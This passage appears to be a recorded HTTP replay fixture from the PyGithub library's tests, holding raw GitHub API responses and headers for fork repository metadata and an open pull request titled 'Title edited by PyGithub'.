ttps://api.github.com/repos/FlorentClarret/PyGithub/subscription","commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/FlorentClarret/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/FlorentClarret/PyGithub/merges","archive_url":"https://api.github.com/repos/FlorentClarret/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/FlorentClarret/PyGithub/downloads","issues_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/FlorentClarret/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/FlorentClarret/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/FlorentClarret/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/FlorentClarret/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/deployments","created_at":"2020-04-13T14:45:18Z","updated_at":"2020-04-13T14:45:20Z","pushed_at":"2020-04-13T19:18:21Z","git_url":"git://github.com/FlorentClarret/PyGithub.git","ssh_url":"git@github.com:FlorentClarret/PyGithub.git","clone_url":"https://github.com/FlorentClarret/PyGithub.git","svn_url":"https://github.com/FlorentClarret/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12619,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-04-13T17:57:28Z","pushed_at":"2020-04-13T05:04:20Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12611,"stargazers_count":3340,"watchers_count":3340,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1082,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":49,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1082,"open_issues":49,"watchers":3340,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-04-13T17:57:28Z","pushed_at":"2020-04-13T05:04:20Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12611,"stargazers_count":3340,"watchers_count":3340,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1082,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":49,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1082,"open_issues":49,"watchers":3340,"default_branch":"master"},"network_count":1082,"subscribers_count":0} https GET api.github.com None /repos/FlorentClarret/PyGithub/pulls/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Apr 2020 19:21:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1586809318'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5e71d1d9ab14b7531982a53559a7858d"'), ('Last-Modified', 'Mon, 13 Apr 2020 19:18:20 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, delete_repo, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C3FE:26A37:8030C4B:9637CD7:5E94BBD7')] {"url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2","id":402792811,"node_id":"MDExOlB1bGxSZXF1ZXN0NDAyNzkyODEx","html_url":"https://github.com/FlorentClarret/PyGithub/pull/2","diff_url":"https://github.com/FlorentClarret/PyGithub/pull/2.diff","patch_url":"https://github.com/FlorentClarret/PyGithub/pull/2.patch","issue_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2","number":2,"state":"open","locked":false,"title":"Title edited by PyGithub","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub","created_at":"2020-04-13T19:12:37Z","updated_at":"2020-04-13T19:18:20Z","closed_at":null,"merged_at":null,"merge_commit_sha":"567f079c0d56e9db59a78584100ed1b05667126f","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/commits","review_comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/comments","review_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2/comments","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/5160aeacd13c921d152dbaa86b3188fcf0a72a6c","head":{"label":"FlorentClarret:feature/pr-maintainer-can-modify","ref":"feature/pr-maintainer-can-modify","sha":"5160aeacd13c921d152dbaa86b3188fcf0a72a6c","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"repo":{"id":255355160,"node_id":"MDEwOlJlcG9zaXRvcnkyNTUzNTUxNjA=","name":"PyGithub","full_name":"FlorentClarret/PyGithub","private":false,"owner":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"html_url":"https://github.com/FlorentClarret/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/FlorentClarret/PyGithub","forks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/forks","keys_url":"https://api.github.com/repos/FlorentClarret/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/FlorentClarret/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/FlorentClarret/PyGithub/teams","hooks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/events","assignees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/FlorentClarret/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/tags","blobs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/FlorentClarret/PyGithub/languages","stargazers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscription","commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/FlorentClarret/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/FlorentClarret/PyGithub/merges","archive_url":"https://api.github.com/repos/FlorentClarret/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/FlorentClarret/PyGithub/downloads","issues_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/FlorentClarret/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/FlorentClarret/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/FlorentClarret/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/FlorentClarret/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/deployments","created_at":"2020-04-13T14:45:18Z","updated_at":"2020-04-13T14:45:20Z","pushed_at":"2020-04-13T19:18:21Z","git_url":"git://github.com/FlorentClarret/PyGithub.git","ssh_url":"git@github.com:FlorentClarret/PyGithub.git","clone_url":"https://github.com/FlorentClarret/PyGithub.git","svn_url":"https://github.com/FlorentClarret/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12619,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"FlorentClarret:master","ref":"master","sha":"b4ca9177262b3b3eea2774ac9e942c67783fe4bb","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"repo":{"id":255355160,"node_id":"MDEwOlJlcG9zaXRvcnkyNTUzNTUxNjA=","name":"PyGithub","full_name":"FlorentClarret/PyGithub","private":false,"owner":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"html_url":"https://github.com/FlorentClarret/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/FlorentClarret/PyGithub","forks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/forks","keys_url":"https://api.github.com/repos/FlorentClarret/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/FlorentClarret/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/FlorentClarret/PyGithub/teams","hooks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/events","assignees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/FlorentClarret/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/tags","blobs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/FlorentClarret/PyGithub/languages","stargazers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscription","commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/FlorentClarret/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/FlorentClarret/PyGithub/merges","archive_url":"https://api.github.com/repos/FlorentClarret/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/FlorentClarret/PyGithub/downloads","issues_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/FlorentClarret/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/FlorentClarret/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/FlorentClarret/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/FlorentClarret/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/deployments","created_at":"2020-04-13T14:45:18Z","updated_at":"2020-04-13T14:45:20Z","pushed_at":"2020-04-13T19:18:21Z","git_url":"git://github.com/FlorentClarret/PyGithub.git","ssh_url":"git@github.com:FlorentClarret/PyGithub.git","clone_url":"https://github.com/FlorentClarret/PyGithub.git","svn_url":"https://github.com/FlorentClarret/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12619,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2"},"html":{"href":"https://github.com/FlorentClarret/PyGithub/pull/2"},"issue":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2"},"comments":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/5160aeacd13c921d152dbaa86b3188fcf0a72a6c"}},"author_association":"OWNER","merged":false,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":57,"deletions":9,"changed_files":4} https GET api.github.com None /repos/austinsasko/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b894fe3224efb6585d378913182a63425b02adf02675111cae76008cf859c787"'), ('Last-Modified', 'Fri, 11 Dec 2020 22:17:23 GMT'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '27'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFDA:110A:217C16:4AA143:5FD3F001')] 